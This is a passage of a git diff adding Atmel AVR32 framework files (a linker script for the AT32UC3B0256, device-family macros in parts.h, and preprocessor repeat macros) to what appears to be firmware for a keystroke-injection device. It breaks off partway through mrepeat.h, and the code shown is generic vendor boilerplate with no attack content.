memcmp of RAM to RAM. +#define memcmp_code2ram memcmp //!< Target-specific memcmp of RAM to NVRAM. +#define memcpy_ram2ram memcpy //!< Target-specific memcpy from RAM to RAM. +#define memcpy_code2ram memcpy //!< Target-specific memcpy from NVRAM to RAM. + +#define LSB0(u32) LSB0W(u32) //!< Least significant byte of 1st rank of \a u32. +#define LSB1(u32) LSB1W(u32) //!< Least significant byte of 2nd rank of \a u32. +#define LSB2(u32) LSB2W(u32) //!< Least significant byte of 3rd rank of \a u32. +#define LSB3(u32) LSB3W(u32) //!< Least significant byte of 4th rank of \a u32. +#define MSB3(u32) MSB3W(u32) //!< Most significant byte of 4th rank of \a u32. +#define MSB2(u32) MSB2W(u32) //!< Most significant byte of 3rd rank of \a u32. +#define MSB1(u32) MSB1W(u32) //!< Most significant byte of 2nd rank of \a u32. +#define MSB0(u32) MSB0W(u32) //!< Most significant byte of 1st rank of \a u32. + +//! @} + +#endif // __AVR32_ABI_COMPILER__ + + +#endif // _COMPILER_AVR32_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds new file mode 100644 index 0000000..6597b59 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/link_uc3b0256.lds @@ -0,0 +1,266 @@ +/****************************************************************************** + * AVR32 AT32UC3B0256 GNU LD script file. + * + * - Compiler: GNU GCC for AVR32 + * - Supported devices: AVR32 AT32UC3B0256 + * + * - author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +OUTPUT_FORMAT("elf32-avr32", "elf32-avr32", "elf32-avr32") + +OUTPUT_ARCH(avr32:uc) + +ENTRY(_trampoline) + +MEMORY +{ + FLASH (rxai!w) : ORIGIN = 0x80000000, LENGTH = 0x00040000 + INTRAM (wxa!ri) : ORIGIN = 0x00000004, LENGTH = 0x00007FFC + USERPAGE : ORIGIN = 0x80800000, LENGTH = 0x00000200 +} + +PHDRS +{ + FLASH PT_LOAD; + INTRAM_ALIGN PT_NULL; + INTRAM_AT_FLASH PT_LOAD; + INTRAM PT_NULL; + USERPAGE PT_LOAD; +} + +SECTIONS +{ + /* If this heap size is selected, all the INTRAM space from the end of the + data area to the beginning of the stack will be allocated for the heap. */ + __max_heap_size__ = -1; + + /* Use a default heap size if heap size was not defined. */ + __heap_size__ = DEFINED(__heap_size__) ? __heap_size__ : __max_heap_size__; + + /* Use a default stack size if stack size was not defined. */ + __stack_size__ = DEFINED(__stack_size__) ? __stack_size__ : 4K; + + /* Read-only sections, merged into text segment: */ + PROVIDE (__executable_start = 0x80000000); . = 0x80000000; + .interp : { *(.interp) } >FLASH AT>FLASH :FLASH + .reset : { *(.reset) } >FLASH AT>FLASH :FLASH + .hash : { *(.hash) } >FLASH AT>FLASH :FLASH + .dynsym : { *(.dynsym) } >FLASH AT>FLASH :FLASH + .dynstr : { *(.dynstr) } >FLASH AT>FLASH :FLASH + .gnu.version : { *(.gnu.version) } >FLASH AT>FLASH :FLASH + .gnu.version_d : { *(.gnu.version_d) } >FLASH AT>FLASH :FLASH + .gnu.version_r : { *(.gnu.version_r) } >FLASH AT>FLASH :FLASH + .rel.init : { *(.rel.init) } >FLASH AT>FLASH :FLASH + .rela.init : { *(.rela.init) } >FLASH AT>FLASH :FLASH + .rel.text : { *(.rel.text .rel.text.* .rel.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH + .rela.text : { *(.rela.text .rela.text.* .rela.gnu.linkonce.t.*) } >FLASH AT>FLASH :FLASH + .rel.fini : { *(.rel.fini) } >FLASH AT>FLASH :FLASH + .rela.fini : { *(.rela.fini) } >FLASH AT>FLASH :FLASH + .rel.rodata : { *(.rel.rodata .rel.rodata.* .rel.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rela.rodata : { *(.rela.rodata .rela.rodata.* .rela.gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rel.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH + .rela.data.rel.ro : { *(.rel.data.rel.ro*) } >FLASH AT>FLASH :FLASH + .rel.data : { *(.rel.data .rel.data.* .rel.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH + .rela.data : { *(.rela.data .rela.data.* .rela.gnu.linkonce.d.*) } >FLASH AT>FLASH :FLASH + .rel.tdata : { *(.rel.tdata .rel.tdata.* .rel.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH + .rela.tdata : { *(.rela.tdata .rela.tdata.* .rela.gnu.linkonce.td.*) } >FLASH AT>FLASH :FLASH + .rel.tbss : { *(.rel.tbss .rel.tbss.* .rel.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH + .rela.tbss : { *(.rela.tbss .rela.tbss.* .rela.gnu.linkonce.tb.*) } >FLASH AT>FLASH :FLASH + .rel.ctors : { *(.rel.ctors) } >FLASH AT>FLASH :FLASH + .rela.ctors : { *(.rela.ctors) } >FLASH AT>FLASH :FLASH + .rel.dtors : { *(.rel.dtors) } >FLASH AT>FLASH :FLASH + .rela.dtors : { *(.rela.dtors) } >FLASH AT>FLASH :FLASH + .rel.got : { *(.rel.got) } >FLASH AT>FLASH :FLASH + .rela.got : { *(.rela.got) } >FLASH AT>FLASH :FLASH + .rel.bss : { *(.rel.bss .rel.bss.* .rel.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH + .rela.bss : { *(.rela.bss .rela.bss.* .rela.gnu.linkonce.b.*) } >FLASH AT>FLASH :FLASH + .rel.plt : { *(.rel.plt) } >FLASH AT>FLASH :FLASH + .rela.plt : { *(.rela.plt) } >FLASH AT>FLASH :FLASH + .init : + { + KEEP (*(.init)) + } >FLASH AT>FLASH :FLASH =0xd703d703 + .plt : { *(.plt) } >FLASH AT>FLASH :FLASH + .text : + { + *(.text .stub .text.* .gnu.linkonce.t.*) + KEEP (*(.text.*personality*)) + /* .gnu.warning sections are handled specially by elf32.em. */ + *(.gnu.warning) + } >FLASH AT>FLASH :FLASH =0xd703d703 + .fini : + { + KEEP (*(.fini)) + } >FLASH AT>FLASH :FLASH =0xd703d703 + PROVIDE (__etext = .); + PROVIDE (_etext = .); + PROVIDE (etext = .); + .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } >FLASH AT>FLASH :FLASH + .rodata1 : { *(.rodata1) } >FLASH AT>FLASH :FLASH + .eh_frame_hdr : { *(.eh_frame_hdr) } >FLASH AT>FLASH :FLASH + .eh_frame : ONLY_IF_RO { KEEP (*(.eh_frame)) } >FLASH AT>FLASH :FLASH + .gcc_except_table : ONLY_IF_RO { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >FLASH AT>FLASH :FLASH + .lalign : { . = ALIGN(8); PROVIDE(_data_lma = .); } >FLASH AT>FLASH :FLASH + . = ORIGIN(INTRAM); + .dalign : { . = ALIGN(8); PROVIDE(_data = .); } >INTRAM AT>INTRAM :INTRAM_ALIGN + /* Exception handling */ + .eh_frame : ONLY_IF_RW { KEEP (*(.eh_frame)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .gcc_except_table : ONLY_IF_RW { KEEP (*(.gcc_except_table)) *(.gcc_except_table.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + /* Thread Local Storage sections */ + .tdata : { *(.tdata .tdata.* .gnu.linkonce.td.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .tbss : { *(.tbss .tbss.* .gnu.linkonce.tb.*) *(.tcommon) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + /* Ensure the __preinit_array_start label is properly aligned. We + could instead move the label definition inside the section, but + the linker would then create the section even if it turns out to + be empty, which isn't pretty. */ + PROVIDE (__preinit_array_start = ALIGN(32 / 8)); + .preinit_array : { KEEP (*(.preinit_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__preinit_array_end = .); + PROVIDE (__init_array_start = .); + .init_array : { KEEP (*(.init_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__init_array_end = .); + PROVIDE (__fini_array_start = .); + .fini_array : { KEEP (*(.fini_array)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (__fini_array_end = .); + .ctors : + { + /* gcc uses crtbegin.o to find the start of + the constructors, so we make sure it is + first. Because this is a wildcard, it + doesn't matter if the user does not + actually link against crtbegin.o; the + linker won't look for a file to match a + wildcard. The wildcard also means that it + doesn't matter which directory crtbegin.o + is in. */ + KEEP (*crtbegin*.o(.ctors)) + /* We don't want to include the .ctor section from + from the crtend.o file until after the sorted ctors. + The .ctor section from the crtend file contains the + end of ctors marker and it must be last */ + KEEP (*(EXCLUDE_FILE (*crtend*.o ) .ctors)) + KEEP (*(SORT(.ctors.*))) + KEEP (*(.ctors)) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .dtors : + { + KEEP (*crtbegin*.o(.dtors)) + KEEP (*(EXCLUDE_FILE (*crtend*.o ) .dtors)) + KEEP (*(SORT(.dtors.*))) + KEEP (*(.dtors)) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .jcr : { KEEP (*(.jcr)) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data.rel.ro : { *(.data.rel.ro.local) *(.data.rel.ro*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .dynamic : { *(.dynamic) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .got : { *(.got.plt) *(.got) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .ramtext : { *(.ramtext .ramtext.*) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .ddalign : { . = ALIGN(8); } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data : + { + *(.data .data.* .gnu.linkonce.d.*) + KEEP (*(.gnu.linkonce.d.*personality*)) + SORT(CONSTRUCTORS) + } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .data1 : { *(.data1) } >INTRAM AT>FLASH :INTRAM_AT_FLASH + .balign : { . = ALIGN(8); PROVIDE(_edata = .); } >INTRAM AT>FLASH :INTRAM_AT_FLASH + PROVIDE (edata = .); + __bss_start = .; + .bss : + { + *(.dynbss) + *(.bss .bss.* .gnu.linkonce.b.*) + *(COMMON) + /* Align here to ensure that the .bss section occupies space up to + _end. Align after .bss to ensure correct alignment even if the + .bss section disappears because there are no input sections. */ + . = ALIGN(8); + } >INTRAM AT>INTRAM :INTRAM + . = ALIGN(8); + _end = .; + PROVIDE (end = .); + __heap_start__ = ALIGN(8); + .heap : + { + *(.heap) + . = (__heap_size__ == __max_heap_size__) ? + ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ - ABSOLUTE(.) : + __heap_size__; + } >INTRAM AT>INTRAM :INTRAM + __heap_end__ = .; + /* Stabs debugging sections. */ + .stab 0 : { *(.stab) } + .stabstr 0 : { *(.stabstr) } + .stab.excl 0 : { *(.stab.excl) } + .stab.exclstr 0 : { *(.stab.exclstr) } + .stab.index 0 : { *(.stab.index) } + .stab.indexstr 0 : { *(.stab.indexstr) } + .comment 0 : { *(.comment) } + /* DWARF debug sections. + Symbols in the DWARF debugging sections are relative to the beginning + of the section so we begin them at 0. */ + /* DWARF 1 */ + .debug 0 : { *(.debug) } + .line 0 : { *(.line) } + /* GNU DWARF 1 extensions */ + .debug_srcinfo 0 : { *(.debug_srcinfo) } + .debug_sfnames 0 : { *(.debug_sfnames) } + /* DWARF 1.1 and DWARF 2 */ + .debug_aranges 0 : { *(.debug_aranges) } + .debug_pubnames 0 : { *(.debug_pubnames) } + /* DWARF 2 */ + .debug_info 0 : { *(.debug_info .gnu.linkonce.wi.*) } + .debug_abbrev 0 : { *(.debug_abbrev) } + .debug_line 0 : { *(.debug_line) } + .debug_frame 0 : { *(.debug_frame) } + .debug_str 0 : { *(.debug_str) } + .debug_loc 0 : { *(.debug_loc) } + .debug_macinfo 0 : { *(.debug_macinfo) } + /* SGI/MIPS DWARF 2 extensions */ + .debug_weaknames 0 : { *(.debug_weaknames) } + .debug_funcnames 0 : { *(.debug_funcnames) } + .debug_typenames 0 : { *(.debug_typenames) } + .debug_varnames 0 : { *(.debug_varnames) } + .stack ORIGIN(INTRAM) + LENGTH(INTRAM) - __stack_size__ : + { + _stack = .; + *(.stack) + . = __stack_size__; + _estack = .; + } >INTRAM AT>INTRAM :INTRAM + .userpage : { *(.userpage .userpage.*) } >USERPAGE AT>USERPAGE :USERPAGE + /DISCARD/ : { *(.note.GNU-stack) } +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/parts.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/parts.h new file mode 100644 index 0000000..a6a47da --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/parts.h @@ -0,0 +1,243 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Arch file for AVR32. + * + * This file defines common AVR32 UC3 series. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _ARCH_H_ +#define _ARCH_H_ + +// UC3 A Series +#define UC3A0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A0128__) || \ + defined (__AVR32_UC3A0256__) || \ + defined (__AVR32_UC3A0512__) || \ + defined (__AVR32_UC3A0512ES__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A0128__) || \ + defined (__AT32UC3A0256__) || \ + defined (__AT32UC3A0512__) || \ + defined (__AT32UC3A0512ES__)))) + +#define UC3A1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A1128__) || \ + defined (__AVR32_UC3A1256__) || \ + defined (__AVR32_UC3A1512__) || \ + defined (__AVR32_UC3A1512ES__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A1128__) || \ + defined (__AT32UC3A1256__) || \ + defined (__AT32UC3A1512__) || \ + defined (__AT32UC3A1512ES__)))) + +#define UC3A3 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A364__) || \ + defined (__AVR32_UC3A364S__) || \ + defined (__AVR32_UC3A3128__) || \ + defined (__AVR32_UC3A3128S__) || \ + defined (__AVR32_UC3A3256__) || \ + defined (__AVR32_UC3A3256S__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A364__) || \ + defined (__AT32UC3A364S__) || \ + defined (__AT32UC3A3128__) || \ + defined (__AT32UC3A3128S__) || \ + defined (__AT32UC3A3256__) || \ + defined (__AT32UC3A3256S__)))) + +#define UC3A4 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3A464__) || \ + defined (__AVR32_UC3A464S__) || \ + defined (__AVR32_UC3A4128__) || \ + defined (__AVR32_UC3A4128S__) || \ + defined (__AVR32_UC3A4256__) || \ + defined (__AVR32_UC3A4256S__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3A464__) || \ + defined (__AT32UC3A464S__) || \ + defined (__AT32UC3A4128__) || \ + defined (__AT32UC3A4128S__) || \ + defined (__AT32UC3A4256__) || \ + defined (__AT32UC3A4256S__)))) + +#define UC3A (UC3A0 || UC3A1 || UC3A3 || UC3A4) + +// UC3 B Series +#define UC3B0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3B064__) || \ + defined (__AVR32_UC3B0128__) || \ + defined (__AVR32_UC3B0256__) || \ + defined (__AVR32_UC3B0256ES__) || \ + defined (__AVR32_UC3B0512__) || \ + defined (__AVR32_UC3B0512REVC_))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3B064__) || \ + defined (__AT32UC3B0128__) || \ + defined (__AT32UC3B0256__) || \ + defined (__AT32UC3B0256ES__) || \ + defined (__AT32UC3B0512__) || \ + defined (__AT32UC3B0512REVC__)))) + +#define UC3B1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3B164__) || \ + defined (__AVR32_UC3B1128__) || \ + defined (__AVR32_UC3B1256__) || \ + defined (__AVR32_UC3B1256ES__) || \ + defined (__AVR32_UC3B1512__) || \ + defined (__AVR32_UC3B1512ES__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3B164__) || \ + defined (__AT32UC3B1128__) || \ + defined (__AT32UC3B1256__) || \ + defined (__AT32UC3B1256ES__) || \ + defined (__AT32UC3B1512__) || \ + defined (__AT32UC3B1512REVC__)))) + +#define UC3B (UC3B0 || UC3B1 ) + +// UC3 C Series +#define UC3C0_REVC (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C064CREVC__) || \ + defined (__AVR32_UC3C0128CREVC__) || \ + defined (__AVR32_UC3C0256CREVC__) || \ + defined (__AVR32_UC3C0512CREVC__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C064CREVC__) || \ + defined (__AT32UC3C0128CREVC__) || \ + defined (__AT32UC3C0256CREVC__) || \ + defined (__AT32UC3C0512CREVC__)))) + +#define UC3C0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C064C__) || \ + defined (__AVR32_UC3C0128C__) || \ + defined (__AVR32_UC3C0256C__) || \ + defined (__AVR32_UC3C0512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C064C__) || \ + defined (__AT32UC3C0128C__) || \ + defined (__AT32UC3C0256C__) || \ + defined (__AT32UC3C0512C__)))) + +#define UC3C1_REVC (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C164CREVC__) || \ + defined (__AVR32_UC3C1128CREVC__) || \ + defined (__AVR32_UC3C1256CREVC__) || \ + defined (__AVR32_UC3C1512CREVC__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C164CREVC__) || \ + defined (__AT32UC3C1128CREVC__) || \ + defined (__AT32UC3C1256CREVC__) || \ + defined (__AT32UC3C1512CREVC__)))) + +#define UC3C1 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C164C__) || \ + defined (__AVR32_UC3C1128C__) || \ + defined (__AVR32_UC3C1256C__) || \ + defined (__AVR32_UC3C1512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C164C__) || \ + defined (__AT32UC3C1128C__) || \ + defined (__AT32UC3C1256C__) || \ + defined (__AT32UC3C1512C__)))) + +#define UC3C2_REVC (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C264CREVC__) || \ + defined (__AVR32_UC3C2128CREVC__) || \ + defined (__AVR32_UC3C2256CREVC__) || \ + defined (__AVR32_UC3C2512CREVC__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C264CREVC__) || \ + defined (__AT32UC3C2128CREVC__) || \ + defined (__AT32UC3C2256CREVC__) || \ + defined (__AT32UC3C2512CREVC__)))) + +#define UC3C2 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3C264C__) || \ + defined (__AVR32_UC3C2128C__) || \ + defined (__AVR32_UC3C2256C__) || \ + defined (__AVR32_UC3C2512C__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3C264C__) || \ + defined (__AT32UC3C2128C__) || \ + defined (__AT32UC3C2256C__) || \ + defined (__AT32UC3C2512C__)))) + +#define UC3C_REVC (UC3C0_REVC || UC3C1_REVC || UC3C2_REVC) +#define UC3C (UC3C0 || UC3C0_REVC || UC3C1 || UC3C1_REVC || UC3C2 || UC3C2_REVC) + +// UC3 L Device series +#define UC3L0 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC3L016__) || \ + defined (__AVR32_UC3L032__) || \ + defined (__AVR32_UC3L064__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__AT32UC3L016__) || \ + defined (__AT32UC3L032__) || \ + defined (__AT32UC3L064__)))) + +#define UC3L (UC3L0) + +// UC3 D Device series +#define UC3D3 (( defined (__GNUC__) && \ + ( defined (__AVR32_UC128D3__) || \ + defined (__AVR32_UC64D3__))) \ + ||((defined(__ICCAVR32__) || defined(__AAVR32__)) && \ + ( defined (__ATUC128D3__) || \ + defined (__ATUC64D3__) ))) + +#define UC3D (UC3D3) + +#if (UC3D) +#include "header_files/uc3d_defines_fix.h" +#endif + +#define UC3 (UC3A || UC3B || UC3C || UC3D || UC3L) + +#if ((defined __GNUC__) && (defined __AVR32__)) || (defined __ICCAVR32__ || defined __AAVR32__) +# if (UC3) +# include +# endif +#endif + +#endif // _ARCH_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/mrepeat.h b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/mrepeat.h new file mode 100644 index 0000000..d573ae9 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/src/asf/avr32/utils/preprocessor/mrepeat.h @@ -0,0 +1,326 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Preprocessor macro repeating utils. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _MREPEAT_H_ +#define _MREPEAT_H_ + +#include "preprocessor.h" + + +//! Maximal number of repetitions supported by MREPEAT. +#define MREPEAT_LIMIT 256 + +/*! \brief Macro repeat. + * + * This macro represents a horizontal repetition construct. + * + * \param count The number of repetitious calls to macro. Valid values range from 0 to MREPEAT_LIMIT. + * \param macro A binary operation of the form macro(n, data). This macro is expanded by MREPEAT with + * the current repetition number and the auxiliary data argument. + * \param data Auxiliary data passed to macro. + * + * \return macro(0, data) macro(1, data) ... macro(count - 1, data) + */ +#define MREPEAT(count, macro, data) TPASTE2(MREPEAT, count)(macro, data) + +#define MREPEAT0( macro, data) +#define MREPEAT1( macro, data) MREPEAT0( macro, data) macro( 0, data) +#define MREPEAT2( macro, data) MREPEAT1( macro, data) macro( 1, data) +#define MREPEAT3( macro, data) MREPEAT2( macro, data) macro( 2, data) +#define MREPEAT4( macro, data) MREPEAT3( macro, data) macro( 3, data) +#define MREPEAT5( macro, data) MREPEAT4( macro, data) macro( 4, data) +#define MREPEAT6( macro, data) MREPEAT5( macro, data) macro( 5, data) +#define MREPEAT7( macro, data) MREPEAT6( macro, data) macro( 6, data) +#define MREPEAT8( macro, data) MREPEAT7( macro, data) macro( 7, data) +#define MREPEAT9( macro, data) MREPEAT8( macro, data) macro( 8, data) +#define MREPEAT10( macro, data) MREPEAT9( macro, data) macro( 9, data) +#define MREPEAT11( macro, data) MREPEAT10( macro, data) macro( 10, data) +#define MREPEAT12( macro, data) MREPEAT11( macro, data) macro( 11, data) +#define MREPEAT13( macro, data) MREPEAT12( macro, data) macro( 12, data) +#define MREPEAT14( macro, data) MREPEAT13( macro, data) macro( 13, data) +#define MREPEAT15( macro, data) MREPEAT14( macro, data) macro( 14, data) +#define MREPEAT16( macro, data) MREPEAT15( macro, data) macro( 15, data) +#define MREPEAT17( macro, data) MREPEAT16( macro, data) macro( 16, data) +#define MREPEAT18( macro, data) MREPEAT17( macro, data) macro( 17, data) +#define MREPEAT19( macro, data) MREPEAT18( macro, data) macro( 18, data) +#define MREPEAT20( macro, data) MREPEAT19( macro, data) macro( 19, data) +#define MREPEAT21( macro, data) MREPEAT20( macro, data) macro( 20, data) +#define MREPEAT22( macro, data) MREPEAT21( macro, data) macro( 21, data) +#define MREPEAT23( macro, data) MREPEAT22( macro, data) macro( 22, data) +#define MREPEAT24( macro, data) MREPEAT23( macro, data) macro( 23, data) +#define MREPEAT25( macro, data) MREPEAT24( macro, data) macro( 24, data) +#define MREPEAT26( macro, data) MREPEAT25( macro, data) macro( 25, data) +#define MREPEAT27( macro, data) MREPEAT26( macro, data) macro( 26, data) +#define MREPEAT28( macro, data) MREPEAT27( macro, data) macro( 27, data) +#define MREPEAT29( macro, data) MREPEAT28( macro, data) macro( 28, data) +#define MREPEAT30( macro, data) MREPEAT29( macro, data) macro( 29, data) +#define MREPEAT31( macro, data) MREPEAT30( macro, data) macro( 30, data) +#define MREPEAT32( macro, data) MREPEAT31( macro, data) 